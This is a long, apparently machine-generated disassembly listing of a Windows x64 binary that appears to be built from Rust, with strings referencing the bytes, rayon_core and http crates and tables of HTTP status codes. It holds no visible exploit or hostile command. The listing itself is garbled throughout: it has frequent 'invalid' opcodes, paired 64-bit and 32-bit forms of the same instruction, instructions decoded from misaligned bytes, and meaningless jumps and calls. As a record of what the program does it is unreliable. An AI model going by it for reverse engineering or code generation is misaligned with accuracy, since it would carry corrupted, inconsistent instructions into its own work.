jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x67
jne case.0x140039bfe.118
cmp byte [rbx + 0xb], 0x75
jne case.0x140039bfe.118
cmp byte [rbx + 0xc], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 0xd], 0x67
jne case.0x140039bfe.118
mov al, 3
mov cl, 0x65
jmp 0x14003b178
cmp byte [rbx + 4], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x73
jne case.0x140039bfe.118
mov al, 0x39
mov cl, 0x68
jmp 0x14003b7e6
cmp byte [rbx + 0xa], 0x63
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x61
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x69
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x6f
jne 0x14003bad2
mov al, 0x19
jmp 0x14003abd7
xor ecx, ecx
mov rdx, rbx
mov r8, rdi
call fcn.14002c810
cmp rax, 1
je 0x14003baef
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
mov bpl, 1
mov byte [rsi + 0x10], bpl
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea r15, [rsp + 0x30]
mov rax, qword [r15 + 0x10]
adc byte [r9 - 0x77], r9b
mov qword [r15], rcx
cmovns ecx, dword [rcx - 0x7cb6f7b9]
mov dword [rdi + 8], eax
and qword [r15 + 0x10], 0
adc byte [eax], al
adc byte [rax], al
mov rax, qword [rsi]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
and al, 0x28
mov r13, qword [rsi + 8]
mov ebp, dword [rsi + 8]
mov rcx, r15
mov ecx, edi
mov rdx, r13
call fcn.140022e61
dec dword [rbp - 0x75]
mov esi, dword [rdi + 8]
ja 0x14003be28
mov r12, qword [r15 + 0x10]
mov esp, dword [rdi + 0x10]
lea rcx, [r14 + r12]
lea ecx, [rsi + riz]
or al, 0x26
mov rdx, qword es:[rsp + 0x28]
mov r8, r13
mov eax, ebp
call 0x158ab2b1c
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
add esp, ebp
in al, dx
mov rcx, rdi
mov ecx, edi
call fcn.140022e29
outsd dx, dword [rsi]
invalid
dec dword [rax - 0x73]
lea rax, [rbp*4 + 1]
add al, 0xad
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsi + 0x18], eax
sbb byte [rcx + rcx*4 + 0x36], cl
mov dword [rsi], esi
mov qword [rsi + 8], r12
mov dword [rsi + 8], esp
or byte [rbp - 0x75], cl
invalid
mov qword [rsi + 0x10], r12
mov rax, qword [rsi + 8]
mov byte [r14 + rax], bl
cmp r12, rax
je 0x14003beb2
invalid
inc rax
mov qword [rsi + 8], rax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
ret
add esp, ebp
jb case.0x1400115e7.291
add rdx, rdx
cmp rdx, rax
cmovbe rdx, rax
ror byte [rbp + 1], 1
call 0x1504b47e1
mov qword [rdi + 0x10], r8
add r8, r13
add eax, ebp
mov qword [rdi + 0x10], r8
sub rdx, r8
sub edx, eax
mov rcx, rdi
call fcn.140022e61
mov r14, qword [rdi + 8]
mov esi, dword [rdi + 8]
dec dword [rbx + rcx*4 + 0x77]
or byte [rbp + 1], cl
invalid
mov esi, dword [rdi + 8]
add r14, r13
add esi, ebp
out dx, al
mov qword [rsi], r14
mov r12, qword [rdi]
sub r12, r13
jmp case.0x14000f477.308
call fcn.1401c6deb
xor al, 0xaf
sbb byte [rax], al
invalid
lea rcx, [0x1401d0f90]
sbb dword [rax], eax
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.6.0_src_bytes_mut.rsoverflow0
push rax
sbb dword [rax], eax
mov edx, 8
add al, ch
call fcn.1401c72b0
loope 0x14003be80
sbb byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsp + 0x40]
push rsp
and al, 0x40
call fcn.1401c66e0
test al, 0x18
sbb byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1950b0
mov al, 0x50
push rax
sbb dword [rax], eax
invalid
lea rcx, [0x1401d0f90]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.6.0_src_bytes_mut.rsoverflow0
lea eax, [0x1401d0fb0]
sbb dword [rax], eax
jmp 0x14003bec5
sub rsp, 0x30
mov rsi, rdx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
invalid
invalid
lea rdx, [0x1401e94e6]
lea edx, [0x1401e94e6]
adc eax, 0x1ad5e6
mov r8d, 0x11
call qword [rax + 0x18]
lea rcx, [rsp + 0x20]
and al, 0x20
mov qword [rcx], rsi
mov byte [rcx + 8], al
mov byte [rcx + 9], 0
or dword [rax], eax
call fcn.14002b010
call qword [rax + 0x30c48348]
nop
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rsi
ret
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1401e94f7]
lea edx, [0x1401e94f7]
adc eax, 0x1ad5c0
sbb al, byte [rax]
mov r8d, 0x18
add byte [rax], al
add byte [rax - 1], cl
jmp rax
jmp rax
loopne case.0x14001f409.269
push r14
push rsi
push rdi
push rbx
sub rsp, 0x80
add byte [rax], al
invalid
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
clc
invalid
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
invalid
mov al, byte [rdx + 0x10]
cmp al, 2
jne 0x14003bf75
invalid
mov al, byte [rdx]
and qword [rsi], 0
invalid
mov byte [rsi + 8], al
invalid
invalid
jmp case.0x1400423d4.276
add byte [rax - 0x75], cl
mov rdi, qword [rdx]
mov edi, dword [rdx]
cmp cl, byte [rbx + rcx*4 + 0x72]
or byte [rax + rax*8 - 0x76b7e48c], al
sal byte [rbx + rbx + 0x48], 0x89
sbb ecx, dword [rax - 0x77]
invalid
mov r14, qword [rdx + 8]
mov esi, dword [rdx + 8]
test al, al
je 0x14003bf9b
invalid
mov rcx, rsi
mov ecx, esi
int1
mov rdx, rdi
cli
mov r8, r14
mov eax, esi
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.140022f0a
outsd dx, dword [rsi]
invalid
lea rbx, [rbp - 0x38]
enter 0xffffffffffff8948, 0xffffffffffffffd9
mov rcx, rbx
invalid
mov rdx, r14
mov edx, esi
call fcn.14003bafc
add r14, rdi
mov qword [rbp - 0x10], r14
jne case.0x140023121.205
sti
invalid
dec dword [rcx + 1]
dec byte [rcx + rcx*4 + 0x75]
jne case.0x140023121.205
invalid
lea r14, [0x14024d1bf]
invalid
cmp rdi, qword [rbp - 0x10]
jge 0x14003bfac
mov qword [rbp - 0x18], rdi
je 0x14003bfda
mov r8, rdi
inc rdi
movzx eax, byte [r8]
mov dl, byte [rax + r14]
mov dl, byte [rax + rsi]
add byte [rdx - 0x76], al
adc al, 0x30
mov rcx, rbx
mov ecx, ebx
call case.0x1400089d2.389
jmp 0x14003bfb8
invalid
invalid
fimul word [rax - 0x73]
test al, 0x48
lea rcx, [rbp - 0x58]
lea rdx, [rbp - 0x38]
lea edx, [rbp - 0x38]
lea edx, [rbp - 0x38]
call fcn.14003bb7b
xchg esp, eax
sti
invalid
movups xmm0, xmmword [rbp - 0x58]
adc byte [rbp - 0x58], al
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], r9b
movups xmmword [rsi], xmm0
adc dword [rsi], eax
invalid
add rsp, 0x80
invalid
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x75], cl
call 0x13048fb6a
call 0x13048fb6a
cmp eax, dword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
cmp rax, qword [rbp - 0x10]
cmp eax, dword [rbp - 0x10]
cmp eax, dword [rbp - 0x10]
invalid
je 0x14003c02d
lea rcx, [rbp - 0x38]
lea ecx, [rbp - 0x38]
enter 0x44e8, 0x70
call fcn.140023071
jo case.0x14002e84a.92
invalid
call qword [rax + 0x20c48348]
nop
add rsp, 0x20
add esp, 0x20
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rbp
ret
mov rax, qword [rdx + 8]
mov r8, qword [rdx + 0x10]
mov eax, dword [rdx + 0x10]
mov eax, dword [rdx + 0x10]
adc byte [rbp + 0x31], al
xor r9d, r9d
xor ecx, ecx
leave
cmp r8, r9
je case.0x14002efaa.86
mov bl, byte [rax + r9]
cmp bl, 0x20
sti
and byte [rcx + 0xf], al
setae r10b
xchg ebx, eax
ret 0xfb80
cmp bl, 0x7f
sti
jg case.0x140033b27.64
setne r11b
setne bl
xchg ebp, eax
ret
inc r9
rol dword [rax - 0x1e8bf605], 0x45
cmp bl, 9
je case.0x14002efaa.157
invalid
or dword [rcx + riz*8 + 0x45], esi
loope case.0x1400115e7.231
and r10b, r11b
and dl, bl
fidiv dword [rbp - 0x24]
jne case.0x14002efaa.157
mov byte [rcx + 0x20], 2
and byte [r10], al
mov rcx, rdx
mov ecx, edx
rcr dword [rbx - 0x17], 1
pop rbx
jmp fcn.140038fba
iretd
iretd
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
adc byte [r15], cl
adc byte [rdi], cl
movups xmmword [rcx], xmm0
adc dword [rcx], eax
mov byte [rcx + 0x20], 0
and byte [rax], al
pop rbx
ret
leave
cmp rdx, rcx
cmp edx, ecx
retf 0x1974
je 0x14003c0ad
mov r8b, byte [rax + rcx]
mov al, byte [rax + rcx]
add al, 8
inc rcx
rol dword [rcx - 0x80], 0xf8
cmp r8b, 9
or dword [rsi + rbp*8 + 0x41], esi
je case.0x14002e5c3.174
add r8b, 0xe0
add al, 0xe0
shl al, 0x41
cmp r8b, 0x5f
cmp al, 0x5f
pop rdi
jb case.0x14002e5c3.174
in al, 0x31
xor eax, eax
rol bl, 0x56
ret
push rsi
sub rsp, 0x30
sub esp, 0x30
in al, dx
xor byte [rax - 0x77], cl
mov rsi, rdx
invalid
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
lea rdx, [0x1401e950f]
lea edx, [0x1401e950f]
adc eax, 0x1ad44a
invalid
sbb al, byte [rax]
add byte [rcx - 0x48], al
mov r8d, 0x12
mov eax, 0x12
adc al, byte [rax]
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x73], cl
invalid
invalid
call qword [rax + 0x18]
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
and al, 0x20
and al, 0x20
and byte [rax - 0x77], cl
mov qword [rcx], rsi
mov dword [rcx], esi
xor dword [rax + 0x41c60841], ecx
or dword [rax], eax
invalid
mov byte [rcx + 8], al
mov byte [rcx + 9], 0
add al, ch
out dx, eax
out dx, eax
call fcn.14002b010
out dx, eax
invalid
call qword [rax + 0x30c48348]
nop
add rsp, 0x30
invalid
xor byte [rsi - 0x3d], bl
pop rsi
ret
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1401e9521]
lea edx, [0x1401e9521]
adc eax, 0x1ad425
mov r8d, 0x1c
mov eax, 0x1c
sbb al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 1], cl
jmp rax
jmp rax
loopne case.0x140010276.265
push rsi
sub rsp, 0x30
sub esp, 0x30
mov rsi, rdx
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
lea rdx, [0x1401e9599]
lea edx, [0x1401e9599]
adc eax, 0x1ad47d
invalid
mov r8d, 0xd
or eax, 0xff000000
add byte [rax], al
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x73], cl
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
and al, 0x20
and byte [rax - 0x77], cl
mov qword [rcx], rsi
xor dword [rax + 0x41c60841], ecx
or dword [rax], eax
mov byte [rcx + 8], al
or r14b, al
or dh, al
mov byte [rcx + 9], 0
or dword [r8], eax
call fcn.14002b010
xlatb
out dx, al
invalid
nop
add rsp, 0x30
invalid
pop rsi
ret
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1401e95a6]
lea edx, [0x1401e95a6]
adc eax, 0x1ad453
invalid
sbb al, byte [rax]
add byte [rcx - 0x48], al
adc eax, dword [rax]
invalid
mov r8d, 0x13
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
jmp rax
loopne case.0x140039166.132
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rdi], cl
movzx eax, byte [rcx]
mov dh, 1
add dword [rax - 0x73], ecx
lea rcx, [0x14028b858]
lea ecx, [0x14028b858]
or eax, 0x24f6ee
mul byte [rax + rax]
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
or dword [rax + 1], 0x48e0ffc8
add rax, rcx
add eax, ecx
jmp rax
loopne case.0x140023121.241
lea rax, [0x1401e96b1]
lea eax, [0x1401e96b1]
add eax, 0x1ad537
add bl, ch
jmp 0x14003c19e
and cl, byte [rax - 0x73]
lea rax, [0x1401e96d1]
lea eax, [0x1401e96d1]
add eax, 0x1ad54e
invalid
invalid
jmp 0x14003c19e
sbb dword [rax - 0x73], ecx
add eax, 0x1ad535
invalid
sbb al, byte [rax]
lea rax, [0x1401e96c1]
lea eax, [0x1401e96c1]
invalid
sbb al, byte [rax]
add bl, ch
adc byte [rax - 0x73], cl
invalid
invalid
jmp 0x14003c19e
lea rax, [0x1401e96c9]
lea eax, [0x1401e96c9]
add eax, 0x1ad534
xor al, 0xd5
sbb al, byte [rax]
add bl, ch
invalid
jmp 0x14003c19e
lea rax, [0x1401e96b9]
add eax, 0x1ad51b
invalid
sbb al, byte [rax]
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rdx, qword [rdx + 0x28]
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rcx - 0x48], al
invalid
mov r9, qword [rdx + 0x18]
mov r8d, 8
mov eax, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov rdx, rax
mov edx, eax
ret 0x8348
add rsp, 0x28
sub byte [rcx - 1], cl
jmp r9
loope case.0x1400115e7.286
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea ecx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
or eax, 0x227bfb
sti
jnp 0x14003c1e2
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1401e9738]
add eax, 0x1ad570
jo case.0x140017b31.232
sbb al, byte [rax]
add byte [rdx + 0x28], bh
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
call fcn.1401c6f30
pop rsi
lodsd eax, dword [rsi]
sbb byte [rax], al
int3
sub esp, 0x28
movzx ecx, word [rcx]
mov bh, 9
mov word [rsp + 0x26], cx
mov eax, dword [rdx + 0x34]
xor al, 0xa8
test al, 0x10
adc byte [rbp + 0x10], dh
jne case.0x1400230cc.273
adc byte [rax + 0x481c7520], ch
test al, 0x20
jne case.0x140010276.269
invalid
sbb al, 0x48
lea rcx, [rsp + 0x26]
lea ecx, [rsp + 0x26]
call 0x14002aba0
lodsb al, byte [rsi]
jmp 0x14aefc1f4
invalid
jmp case.0x140023121.240
lea rcx, [rsp + 0x26]
and al, 0x26
call 0x140029630
call 0x140029630
xor ah, dl
invalid
invalid
nop
add rsp, 0x28
invalid
ret
add rsp, 0x28
add esp, 0x28
jmp 0x14002f750
xor eax, 0x8148ffff
xor eax, 0x8148ffff
invalid
in al, dx
mov byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x49], al
invalid
invalid
invalid
add byte [rax], al
movzx r8d, word [rcx]
mov bh, 1
add dword [rsi + 0x44], esp
mov word [rsp + 0x26], r8w
mov dword [rsp + 0x26], r8d
mov dword [rsp + 0x26], eax
and al, 0x26
and al, 0x26
mov eax, 0x15
add byte [rax], al
lea rcx, str._unknown_status_code_InvalidStatusCodeinvalid_status_codeinvalid_uri_characterinvalid_schemeinvalid_authorityinvalid_portinvalid_formatscheme_missingauthority_missingpath_missinguri_too_longempty_stringscheme_too_longHTTP_0.9HTTP_1.0HTTP_1.1HTTP_2.0HTTP_3.0C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_1.1.0_src_version.rs
or eax, 0x1ad3ac
rcr dword [rdx], cl
add byte [rbp - 0x73], al
lea r9d, [r8 - 0x190]
lea ecx, [rax - 0x190]
mov byte [rax - 2], dh
jo case.0x140085b76.123
invalid
cmp r9d, 0x33
cmp ecx, 0x33
xor esi, dword [rsi + 0x4d]
jbe 0x14003c286
lea r9d, [r8 - 0x1f4]
lea r9d, [r8 - 0x1f4]
lea ecx, [rax - 0x1f4]
or al, 0xfe
invalid
invalid
inc dword [rcx - 0x7d]
stc
cmp r9d, 0xb
or esi, dword [rsi + 0x62]
jbe 0x14003c2a8
invalid
lea r9d, [r8 - 0xc8]
lea ecx, [rax - 0xc8]
cmp bh, bh
invalid
inc dword [rcx - 0x7d]
cmp r9d, 8
cmp ecx, 8
stc
or byte [rsi + 0x72], dh
jbe case.0x1400230cc.241
jb case.0x14002e130.134
lea r9d, [r8 - 0x12c]
lea ecx, [rax - 0x12c]
invalid
invalid
invalid
cmp r9d, 8
stc
or byte [rdi], cl
ja case.default.0x14003c272
xchg dword [rdx + 0x4c000000], eax
lea eax, [0x14028b894]
add eax, 0x24f629
sub esi, esi
and al, 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x14028b894]
sub esi, esi
mul byte [rax + rax]
and al, 0
movsxd r9, dword [r8 + r9*4]
invalid
or al, 0x88
mov byte [rbp + 1], cl
add r9, r8
add ecx, eax
rol dword [rcx - 1], 0xe1
jmp r9
jmp rcx
loope case.0x14002e130.113
mov eax, 0x10
adc byte [rax], al
add byte [rax], al
lea rcx, [0x1401e9b64]
or eax, 0x1ad8e3
jrcxz case.0x140013145.255
fcomp dword [rdx]
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
sbb dword [rax + rax], eax
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x14028b8b8]
sub esi, esi
mul byte [rax + rax]
and al, 0
movsxd r9, dword [r8 + r9*4]
invalid
or al, 0x88
mov byte [rbp + 1], cl
add r9, r8
add ecx, eax
rol dword [rcx - 1], 0xe1
jmp r9
jmp rcx
loope case.0x14002e130.114
mov eax, 0xb
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9bcc]
or eax, 0x1ad929
sub ecx, ebx
fstp dword [rdx]
sbb al, byte [rax]
add cl, ch
test dword [rbx], 0x8d4c0000
add eax, dword [rax]
add byte [rax], al
invalid
invalid
jmp case.0x14003c272.306
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x14028b988]
add eax, 0x24f6d9
fdecstp
and al, 0
movsxd r9, dword [r8 + r9*4]
invalid
or al, 0x88
mov byte [rbp + 1], cl
add r9, r8
jmp r9
jmp rcx
rol dword [rcx - 1], 0xe1
jmp rcx
loope case.0x140033b27.81
lea rcx, [0x1401e9d95]
lea ecx, [0x1401e9d95]
or eax, 0x1adad5
invalid
ficomp dword [rdx]
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
fiadd dword [rbx]
add eax, dword [rax]
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rax, [0x14028b870]
add eax, 0x24f5a4
movsb byte [rdi], byte [rsi]
cmc
and al, 0
add byte [rdx + 0x63], cl
or al, 0x88
invalid
movsxd rcx, dword [rax + r9*4]
invalid
mov byte [rax + 1], cl
add rcx, rax
add ecx, eax
sar edi, 0xe1
jmp rcx
mov eax, 2
add byte [rax - 0x73], cl
lea rcx, [0x1401e9aed]
lea ecx, [0x1401e9aed]
or eax, 0x1ad80c
or al, 0xd8
fcomp dword [rdx]
sbb al, byte [rax]
add cl, ch
mov ecx, 0x41000003
invalid
jmp case.0x14003c272.306
cmp r8d, 0xe2
cmp eax, 0xe2
loop case.0x14002eaa5.119
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
je 0x14003c693
test byte [rax + 0x41000003], ah
movabs al, byte [0xf65f88341000003]
test byte [rdx + 3], bh
jp case.0x14002e5c3.126
add byte [rax], al
cmp r8d, 0x65
cmp eax, 0x65
je 0x14003c677
jp case.0x14002e5c3.126
add eax, dword [rax]
add byte [rax], al
add byte [rcx - 0x7d], al
cmp r8d, 0x66
cmp eax, 0x66
clc
je 0x14003c685
je 0x14003c685
test byte [rsi + 3], bh
add byte [rax], al
cmp r8d, 0x64
cmp eax, 0x64
jne case.0x14003c272.306
jne case.0x14003c272.306
test dword [rsi - 0x47fffffd], ecx
or byte [rax], al
add byte [rax], al
invalid
mov es, word [rbx]
add eax, dword [rax]
add byte [rax], al
add byte [rax + 8], bh
mov eax, 8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1ad7ab
stosd dword [rdi], eax
xlatb
sbb al, byte [rax]
lea rcx, str.ContinueSwitching_ProtocolsProcessingOKCreatedAcceptedNon_Authoritative_InformationNo_ContentReset_ContentPartial_ContentMulti_StatusAlready_ReportedIM_UsedMultiple_ChoicesMoved_PermanentlyFoundSee_OtherNot_ModifiedUse_ProxyTemporary_RedirectPermanent_RedirectBad_RequestUnauthorizedPayment_RequiredForbiddenNot_FoundMethod_Not_AllowedNot_AcceptableProxy_Authentication_RequiredRequest_TimeoutConflictGoneLength_RequiredPrecondition_FailedPayload_Too_LargeURI_Too_LongUnsupported_Media_TypeRange_Not_SatisfiableExpectation_FailedIm_a_teapotMisdirected_RequestUnprocessable_EntityLockedFailed_DependencyUpgrade_RequiredPrecondition_RequiredToo_Many_RequestsRequest_Header_Fields_Too_LargeUnavailable_For_Legal_ReasonsInternal_Server_ErrorNot_ImplementedBad_GatewayService_UnavailableGateway_TimeoutHTTP_Version_Not_SupportedVariant_Also_NegotiatesInsufficient_StorageLoop_DetectedNot_ExtendedNetwork_Authentication_RequiredInvalidUri
stosd dword [rdi], eax
xlatb
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
jge case.0x140023121.242
add eax, dword [rax]
add byte [rax], al
add byte [rax + 0xf], bh
mov eax, 0xf
sldt word [rax]
add byte [rax - 0x73], cl
invalid
invalid
lea rcx, [0x1401e9daa]
or eax, 0x1ada7c
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
insb byte [rdi], dx
add eax, dword [rax]
add byte [rax], al
add byte [rax + 0x1a], bh
mov eax, 0x1a
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9de6]
or eax, 0x1adaa7
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
pop rbx
add eax, dword [rax]
add byte [rax + 0xb], bh
mov eax, 0xb
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9db9]
or eax, 0x1ada69
ficomp dword [rdx]
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
add rax, qword [rax]
add eax, dword [rax]
add byte [rax + 0xf], bh
mov eax, 0xf
add byte [rax - 0x73], cl
lea rcx, [0x1401e9dd7]
lea ecx, [0x1401e9dd7]
or eax, 0x1ada76
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
cmp dword [rbx], eax
add eax, dword [rax]
add byte [rax], al
add byte [rax + 0xc], bh
mov eax, 0xc
or al, 0
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9e38]
or eax, 0x1adac6
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
sub byte [rbx], al
add eax, dword [rax]
add byte [rax], al
add byte [rax + 0x13], bh
mov eax, 0x13
add byte [rax - 0x73], cl
lea rcx, [0x1401e9dc4]
lea ecx, [0x1401e9dc4]
or eax, 0x1ada41
ficomp dword [r10]
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
invalid
add eax, dword [rax]
add byte [rax + 0x17], bh
mov eax, 0x17
add byte [rax - 0x73], cl
lea rcx, [0x1401e9e00]
lea ecx, [0x1401e9e00]
or eax, 0x1ada6c
insb byte [rdi], dx
ficomp dword [rdx]
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
invalid
add eax, dword [rax]
add byte [rax + 0x14], bh
mov eax, 0x14
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9e17]
lea ecx, [0x1401e9e17]
or eax, 0x1ada72
jb 0x14003c37d
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
cmc
add al, byte [rax]
add byte [rax], al
add byte [rax + 0xd], bh
mov eax, 0xd
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9e2b]
or eax, 0x1ada75
jne 0x14003c38e
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
in al, 2
add al, byte [rax]
add byte [rax], al
add byte [rax + 0x1f], bh
mov eax, 0x1f
add byte [rax - 0x73], cl
lea rcx, [0x1401e9e44]
or eax, 0x1ada7d
jge 0x14003c39f
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
rol dword [rdx], cl
add al, byte [rax]
add byte [rax], al
add byte [rax + 0xc], bh
mov eax, 0xc
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9b93]
or eax, 0x1ad7bb
mov ebx, 0xe9001ad7
xlatb
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
ret 2
add al, byte [rax]
add byte [rax], al
add byte [rax + 9], bh
mov eax, 9
add byte [rax - 0x73], cl
lea rcx, [0x1401e9b8a]
lea ecx, [0x1401e9b8a]
or eax, 0x1ad7a1
movabs eax, dword [0x2b1e9001ad7]
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
mov cl, 2
add al, byte [rax]
add byte [rax], al
add byte [rax + 0x11], bh
mov eax, 0x11
adc dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rcx, [0x1401e9b74]
lea ecx, [0x1401e9b74]
or eax, 0x1ad77a
jp 0x14003c3cf
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
movabs al, byte [0x12b8000002]
add al, byte [rax]
add byte [rax], al
add byte [rax + 0x12], bh
mov eax, 0x12
add byte [rax - 0x73], cl
lea rcx, [0x1401e9ba8]
lea ecx, [0x1401e9ba8]
or eax, 0x1ad79d
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
pop qword [rdx]
add al, byte [rax]
add byte [rax], al
add byte [rax + 5], bh
mov eax, 5
add eax, 0x48000000
lea ecx, [0x1401e9b85]
or eax, 0x1ad769
add byte [rax - 0x73], cl
lea rcx, [0x1401e9b85]
or eax, 0x1ad769
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
jle case.0x14003c272.308
add al, byte [rax]
add byte [rax + 0x12], bh
mov eax, 0x12
add byte [rax], al
mov eax, 0x12
add byte [rax - 0x73], cl
lea rcx, [0x1401e9bba]
or eax, 0x1ad78d
invalid
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
insd dword [rdi], dx
add al, byte [rax]
add byte [rax + 9], bh
mov eax, 9
add byte [rax], al
mov eax, 9
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9b9f]
or eax, 0x1ad761
xlatb
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
pop rsp
add al, byte [rax]
add byte [rax], al
mov eax, 0x1f
add byte [rax], al
mov eax, 0x1f
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401e9d59]
or eax, 0x1ad90a
or bl, cl
sbb al, byte [rax]
add cl, ch
jmp case.0x14003c272.306
add al, byte [r8]
add byte [rax + 0x10], bh
mov eax, 0x10
mov eax, 0x10
add byte [rax], al
add byte [rax - 0x73], cl
